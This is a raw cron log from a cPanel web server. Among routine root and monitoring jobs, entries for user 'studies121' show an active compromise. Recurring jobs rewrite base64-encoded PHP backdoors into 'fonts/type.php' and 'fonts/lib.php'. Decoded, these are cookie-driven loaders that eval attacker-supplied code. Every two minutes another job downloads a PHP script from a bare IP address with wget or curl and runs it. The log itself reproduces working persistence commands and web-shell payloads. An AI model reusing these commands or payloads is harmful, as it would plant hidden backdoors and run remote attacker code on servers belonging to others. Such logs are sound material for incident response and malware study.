Sep 11 23:28:02 ip-184-168-122-23 CROND[20817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:29:01 ip-184-168-122-23 CROND[20922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:29:01 ip-184-168-122-23 CROND[20925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:29:01 ip-184-168-122-23 CROND[20924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:29:01 ip-184-168-122-23 CROND[20926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21099]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:30:01 ip-184-168-122-23 CROND[21103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:30:01 ip-184-168-122-23 CROND[21106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:30:01 ip-184-168-122-23 CROND[21105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:31:01 ip-184-168-122-23 CROND[21202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:31:01 ip-184-168-122-23 CROND[21204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:31:01 ip-184-168-122-23 CROND[21206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:31:01 ip-184-168-122-23 CROND[21205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:31:01 ip-184-168-122-23 CROND[21207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:32:01 ip-184-168-122-23 CROND[21305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:32:01 ip-184-168-122-23 CROND[21308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:32:01 ip-184-168-122-23 CROND[21306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:32:01 ip-184-168-122-23 CROND[21307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:32:01 ip-184-168-122-23 CROND[21309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:33:01 ip-184-168-122-23 CROND[21402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:33:01 ip-184-168-122-23 CROND[21404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:33:01 ip-184-168-122-23 CROND[21405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:33:01 ip-184-168-122-23 CROND[21406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:34:01 ip-184-168-122-23 CROND[21499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:34:01 ip-184-168-122-23 CROND[21501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:34:02 ip-184-168-122-23 CROND[21504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:34:02 ip-184-168-122-23 CROND[21503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:34:02 ip-184-168-122-23 CROND[21506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21693]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:35:01 ip-184-168-122-23 CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:35:01 ip-184-168-122-23 CROND[21695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:36:01 ip-184-168-122-23 CROND[21801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:36:01 ip-184-168-122-23 CROND[21803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:36:01 ip-184-168-122-23 CROND[21804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:36:01 ip-184-168-122-23 CROND[21806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:36:01 ip-184-168-122-23 CROND[21805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:37:01 ip-184-168-122-23 CROND[21893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:37:01 ip-184-168-122-23 CROND[21894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:37:01 ip-184-168-122-23 CROND[21896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:37:01 ip-184-168-122-23 CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:38:01 ip-184-168-122-23 CROND[21993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:38:01 ip-184-168-122-23 CROND[21995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:38:01 ip-184-168-122-23 CROND[21996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:38:01 ip-184-168-122-23 CROND[21999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:38:01 ip-184-168-122-23 CROND[21997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:39:01 ip-184-168-122-23 CROND[22096]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 23:39:01 ip-184-168-122-23 CROND[22099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:39:01 ip-184-168-122-23 CROND[22098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:39:01 ip-184-168-122-23 CROND[22100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:39:01 ip-184-168-122-23 CROND[22101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:40:01 ip-184-168-122-23 CROND[22291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:40:01 ip-184-168-122-23 CROND[22295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:40:01 ip-184-168-122-23 CROND[22296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:40:01 ip-184-168-122-23 CROND[22297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:40:01 ip-184-168-122-23 CROND[22298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
